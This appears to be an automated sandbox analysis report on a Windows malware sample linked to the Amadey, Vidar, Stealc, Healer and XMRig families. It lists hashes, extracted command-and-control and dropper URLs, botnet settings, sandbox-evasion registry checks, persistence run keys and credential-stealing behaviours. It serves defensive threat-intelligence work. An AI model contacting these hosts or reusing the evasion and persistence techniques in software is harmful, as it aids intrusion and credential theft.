amadey | bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e

Analysis

max time kernel
121s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
06/03/2025, 05:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe
Size

938KB
MD5

78796a8755ee5cc1c74279bbba9dadd9
SHA1

21dd52e48d9e8b0cd2ee2702e2c1353f61ae32f6
SHA256

bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e
SHA512

53ff56fbd963d5288829e87158373ab57862d7cc8b721c0e2cd5672c3042824e85d456f648180b731059c400d1e6e02b3cd5c8c0a9952c33e9f9034e95ba6ec0
SSDEEP

24576:cqDEvCTbMWu7rQYlBQcBiT6rprG8a0qu:cTvC/MTQYxsWR7a0q

Score

10^/10

amadey healer stealc vidar xmrig 092155 ir7am traff1 trump credential_access defense_evasion discovery dropper execution miner persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

vidar

Botnet

ir7am

https://t.me/l793oy

https://steamcommunity.com/profiles/76561199829660832

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0

Extracted

Family

stealc

Botnet

traff1

Attributes

url_path
/gtthfbsb2h.php

Extracted

Family

stealc

Botnet

trump

http://45.93.20.28

Attributes

url_path
/85a1cacf11314eb8.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Vidar Stealer 12 IoCs

stealer

resource	yara_rule
behavioral2/memory/5060-157-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-159-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-726-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-747-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-752-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-767-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-770-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-786-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-787-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-803-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-804-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral2/memory/5060-807-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7

Detects Healer an antivirus disabler dropper 3 IoCs

resource	yara_rule
behavioral2/memory/5636-3067-0x0000000000DC0000-0x000000000121C000-memory.dmp	healer
behavioral2/memory/5636-3066-0x0000000000DC0000-0x000000000121C000-memory.dmp	healer
behavioral2/memory/5636-3127-0x0000000000DC0000-0x000000000121C000-memory.dmp	healer

Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 15 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4f38749964.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a4351ba7b1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	v6Oqdnc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rXOl0pp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	63b4bc7f30.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	04fdd764f9.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	FvbuInU.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ILqcVeT.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	46cbb53831.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	BGJ28V9RAH6PNAXACVV4S9MSBD.exe

XMRig Miner payload 9 IoCs

miner

resource	yara_rule
behavioral2/memory/5268-714-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp	xmrig
behavioral2/memory/5268-715-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp	xmrig
behavioral2/memory/5268-723-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp	xmrig
behavioral2/memory/5268-731-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp	xmrig
behavioral2/memory/5268-732-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp	xmrig
behavioral2/memory/5268-730-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp	xmrig
behavioral2/memory/5268-728-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp	xmrig
behavioral2/memory/5268-729-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp	xmrig
behavioral2/memory/5268-805-0x00007FF6A0900000-0x00007FF6A11C4000-memory.dmp	xmrig

Blocklisted process makes network request 4 IoCs

flow	pid	Process
22	3180	powershell.exe
38	1104	powershell.exe
191	1836	powershell.exe
214	5864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1404	powershell.exe
772	powershell.exe
332	powershell.exe
3564	powershell.exe
3180	powershell.exe
1104	powershell.exe
1836	powershell.exe
5864	powershell.exe
1104	powershell.exe

Downloads MZ/PE file 36 IoCs

flow	pid	Process
33	4624	rapes.exe
33	4624	rapes.exe
33	4624	rapes.exe
33	4624	rapes.exe
33	4624	rapes.exe
33	4624	rapes.exe
33	4624	rapes.exe
33	4624	rapes.exe
33	4624	rapes.exe
184	4624	rapes.exe
184	4624	rapes.exe
184	4624	rapes.exe
184	4624	rapes.exe
225	5224	BitLockerToGo.exe
256	3280	BitLockerToGo.exe
265	4624	rapes.exe
265	4624	rapes.exe
265	4624	rapes.exe
191	1836	powershell.exe
273	2064	4f38749964.exe
112	3656	ILqcVeT.exe
112	3656	ILqcVeT.exe
112	3656	ILqcVeT.exe
112	3656	ILqcVeT.exe
112	3656	ILqcVeT.exe
112	3656	ILqcVeT.exe
112	3656	ILqcVeT.exe
203	5772	rXOl0pp.exe
203	5772	rXOl0pp.exe
203	5772	rXOl0pp.exe
203	5772	rXOl0pp.exe
203	5772	rXOl0pp.exe
203	5772	rXOl0pp.exe
203	5772	rXOl0pp.exe
22	3180	powershell.exe
214	5864	powershell.exe

Uses browser remote debugging 2 TTPs 31 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
6012	chrome.exe
2804	msedge.exe
3200	msedge.exe
4148	msedge.exe
5860	msedge.exe
3016	msedge.exe
4072	msedge.exe
4824	msedge.exe
4652	msedge.exe
2148	chrome.exe
1708	chrome.exe
5936	chrome.exe
6060	msedge.exe
4992	msedge.exe
1216	msedge.exe
3540	chrome.exe
6056	msedge.exe
4648	chrome.exe
2004	msedge.exe
5680	msedge.exe
3504	msedge.exe
3880	chrome.exe
5836	msedge.exe
3660	chrome.exe
5384	msedge.exe
5932	msedge.exe
4800	chrome.exe
6036	chrome.exe
2056	msedge.exe
5396	msedge.exe
6008	msedge.exe

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x000c000000023c65-145.dat	net_reactor
behavioral2/memory/5024-155-0x0000000000980000-0x00000000009E0000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 30 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	v6Oqdnc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rXOl0pp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rXOl0pp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	63b4bc7f30.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	04fdd764f9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4f38749964.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a4351ba7b1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	BGJ28V9RAH6PNAXACVV4S9MSBD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	FvbuInU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	46cbb53831.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	46cbb53831.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	FvbuInU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ILqcVeT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	BGJ28V9RAH6PNAXACVV4S9MSBD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	04fdd764f9.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a4351ba7b1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4f38749964.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	v6Oqdnc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ILqcVeT.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	63b4bc7f30.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	PcAIvJ0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	nhDLtPT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	mAtJWNv.exe

Drops startup file 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win_update.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	zY9sqWs.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	zY9sqWs.exe

Executes dropped EXE 30 IoCs

pid	Process
1680	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
4624	rapes.exe
4788	zY9sqWs.exe
4912	PcAIvJ0.exe
3572	v6Oqdnc.exe
3780	MCxU5Fj.exe
4876	MCxU5Fj.exe
5044	MCxU5Fj.exe
5024	mAtJWNv.exe
5060	mAtJWNv.exe
1788	FvbuInU.exe
3660	nhDLtPT.exe
2704	Gxtuum.exe
3656	ILqcVeT.exe
5772	rXOl0pp.exe
60	086de54246.exe
2096	rapes.exe
3360	Gxtuum.exe
6016	TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE
5884	63b4bc7f30.exe
5620	5bdfa24bab.exe
2504	5bdfa24bab.exe
4220	5bdfa24bab.exe
1436	483d2fa8a0d53818306efeb32d3.exe
5904	04fdd764f9.exe
4380	46cbb53831.exe
2064	4f38749964.exe
5620	a4351ba7b1.exe
4564	BGJ28V9RAH6PNAXACVV4S9MSBD.exe
6120	6baf3702c9.exe

Identifies Wine through registry keys 2 TTPs 15 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	63b4bc7f30.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	BGJ28V9RAH6PNAXACVV4S9MSBD.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	v6Oqdnc.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	a4351ba7b1.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	FvbuInU.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	ILqcVeT.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	04fdd764f9.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	46cbb53831.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	4f38749964.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Software\Wine	rXOl0pp.exe

Loads dropped DLL 4 IoCs

pid	Process
3656	ILqcVeT.exe
3656	ILqcVeT.exe
5772	rXOl0pp.exe
5772	rXOl0pp.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\086de54246.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110390101\\086de54246.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110400121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\4f38749964.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110460101\\4f38749964.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\a4351ba7b1.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110470101\\a4351ba7b1.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\6baf3702c9.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10110480101\\6baf3702c9.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
106	pastebin.com
105	pastebin.com

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0016000000023afb-775.dat	autoit_exe
behavioral2/files/0x0008000000023e5b-2696.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 6 IoCs

discovery

Process Discovery

T1057

pid	Process
5640	tasklist.exe
5972	tasklist.exe
1260	tasklist.exe
2996	tasklist.exe
5536	tasklist.exe
3268	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs

pid	Process
1680	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
4624	rapes.exe
3572	v6Oqdnc.exe
1788	FvbuInU.exe
3656	ILqcVeT.exe
5772	rXOl0pp.exe
2096	rapes.exe
6016	TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE
5884	63b4bc7f30.exe
1436	483d2fa8a0d53818306efeb32d3.exe
5904	04fdd764f9.exe
4380	46cbb53831.exe
2064	4f38749964.exe
5620	a4351ba7b1.exe
4564	BGJ28V9RAH6PNAXACVV4S9MSBD.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3780 set thread context of 4876	3780	MCxU5Fj.exe	110
PID 5024 set thread context of 5060	5024	mAtJWNv.exe	116
PID 3552 set thread context of 5268	3552	Explorer.EXE	146
PID 5620 set thread context of 2504	5620	5bdfa24bab.exe	219
PID 5884 set thread context of 5224	5884	63b4bc7f30.exe	241
PID 5904 set thread context of 3280	5904	04fdd764f9.exe	259

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
File created	C:\Windows\Tasks\Gxtuum.job	nhDLtPT.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
2004	3780	WerFault.exe	108
4952	5024	WerFault.exe	115
6064	5620	WerFault.exe	216
5896	5772	WerFault.exe	153

System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bd4d8b456fa6f5350ab0d8fa25cf9cbf47f515b67f0badaa7a0139eefb39d99e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zY9sqWs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a4351ba7b1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4f38749964.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BGJ28V9RAH6PNAXACVV4S9MSBD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MCxU5Fj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mAtJWNv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5bdfa24bab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mAtJWNv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempFPUPX8OYCVF7VP2FXYRXHC0QBR0VPYUK.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	04fdd764f9.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	6baf3702c9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rXOl0pp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	v6Oqdnc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhDLtPT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	63b4bc7f30.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MCxU5Fj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FvbuInU.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ILqcVeT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	086de54246.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5bdfa24bab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	46cbb53831.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6baf3702c9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	6baf3702c9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

Checks processor information in registry 2 TTPs 22 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rXOl0pp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ILqcVeT.exe
